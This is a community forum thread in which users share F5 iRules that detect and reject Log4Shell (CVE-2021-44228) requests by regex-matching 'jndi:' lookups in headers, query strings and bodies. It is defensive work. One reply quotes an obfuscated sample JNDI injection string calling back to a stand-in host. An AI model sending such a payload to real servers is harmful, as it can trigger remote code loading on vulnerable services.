cancel
Showing results for 
Search instead for 
Did you mean: 

CVE-2021-44228 irule mitigation?

danielm1
Altostratus
Altostratus

Hello there,

Is there any iRule mitigation for the CVE-2021-44228?

In support askf5 there is a mitigation using ASM but if I don't have it yet. Could I use an iRule?

 

Regards,

Daniel

9 REPLIES 9

Hi @Daniel Martinez​,

 

the following iRule will check the headers and the payload of any POST request for the string "jndi:ldap:" and reject them.

when HTTP_REQUEST { if {[HTTP::method] eq "POST"} { catch { foreach aHeader [HTTP::header names] { if { [string tolower [URI::decode [HTTP::header $aHeader]]] matches_regex {\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+} } { log local0. "Rejected because header value suspicious to be CVE-2021-44228" reject } } } catch { if { [URI::decode [HTTP::query]] matches_regex {\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+} } { log local0. "Rejected because payload suspicious to be CVE-2021-44228" reject } } if {[HTTP::header "Content-Length"] ne "" && [HTTP::header "Content-Length"] <= 1048576}{ set content_length [HTTP::header "Content-Length"] } else { set content_length 1048576 } if { $content_length > 0} { HTTP::collect $content_length } } } when HTTP_REQUEST_DATA { catch { if { [string tolower [URI::decode [HTTP::payload]]] matches_regex {\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+} } { log local0. "Rejected because payload suspicious to be CVE-2021-44228" reject } } HTTP::release }

This iRule is provided "as is", without a warranty that it is a guaranteed protection against this CVE or any kind of performance testing.

 

Patching your servers, or using AWAF or Threat Campaigns is the better alternative.

Currently, in my opinion, the best read on this vulnerability is: https://isc.sans.edu/forums/diary/RCE+in+log4j+Log4Shell+or+how+things+can+get+bad+quickly/28120/

 

AWAF, TC and NGINX App Protect signatures are available: https://support.f5.com/csp/article/K19026212

 

KR

Daniel

 

EDIT1: Since the vulnerability is applicable to any input field, I added also query parameters ([HTTP::query]) to be searched for the string "jndi:ldap:".

 

EDIT2: Updated to match regex for variants of LDAP, LDAPS, DNS, RMI

 

EDIT3: added URI::decode to discover obfusction, as suggested by @John Alam​. Thanks for the hint!

Still not scanning the entire HTTP request with [HTTP::request].

In case someone is interested, here is my Postman Collection which I used for testing:

https://raw.githubusercontent.com/webserverdude/f5-general/main/iRules/CVE-2021-44228.postman_collection.json

 

In the same repo there's the current version of the iRule > rule_mitigate_CVE-2021-44228.irul

Last update from my side. F5 has provided iRules to mitigate CVE-2021-44228 here: https://support.f5.com/csp/article/K19026212

 

Due to a more strict regex the F5 iRule will also protect you against the recently observed more obfuscated variants such as:

${jndi:${lower:l}${lower:d}a${lower:p}://fake.log4j.bin${upper:a}fake.com:80/callback}

I'm done.

Hi @danielm,

 

usually I am not asking for this, but the Log4shell issue is kind of important.

Could you please mark this question as "Answered"? Under each answer there is "Select As Best", which is equivalent to "Answered". Just select my above answer as best. This way other community members can find the iRule mitigation for CVE-2021-44228 faster and easier.

 

Thanks in advance & KR

Daniel

John_Alam
F5 Employee
F5 Employee

You may want to consider scanning the entire HTTP request as one variable. [HTTP::request],

You may also want to normalize it using [URI::decode [HTTP::request]] , or [URI::decode [HTTP::payload]] , this way, attacks including "jndi%3Aldap" do not succeed.

 

HTH

SergeyAU
Nimbostratus
Nimbostratus

I just did quick and dirty

Not sure about the overhead on the iRule at the top

when HTTP_REQUEST { if { [string tolower [HTTP::uri]] contains "jndi:" } { log local0. "Found Log4j attack! Rejecting a request to [HTTP::uri] from [IP::client_addr]" reject } else { foreach aHeader [HTTP::header names] { set ctheader [string tolower [HTTP::header value $aHeader]] if {($ctheader contains "jndi:") }{ log local0. "Found Log4j attack! Rejecting a request to [HTTP::uri] with $aHeader value of $ctheader from [IP::client_addr]" reject } }   } }

 

Not applicable

Check the AskF5 solution linked here in the DevCentral Connects show article for latest updates on recommended iRule for this.

broan
Nimbostratus
Nimbostratus

I tried implementing the iRule linked from the AskF5 solution article, but as written it causes my site(s) to throw an HTTP 400 "Bad Request" error.

 

Anyone else see that behavior? Ideas?

Hi @Brad Roan​,

 

this should not be the case. Unless the iRule matches the pattern of the attack, it does not alter the request going to the backend servers.

Can you compare the requests sent to the backend servers with and without the iRule? Using tools like tcpdump, wireshark or just from the log of the backend servers? Can you spot any differences in the HTTP Requests?

 

KR

Daniel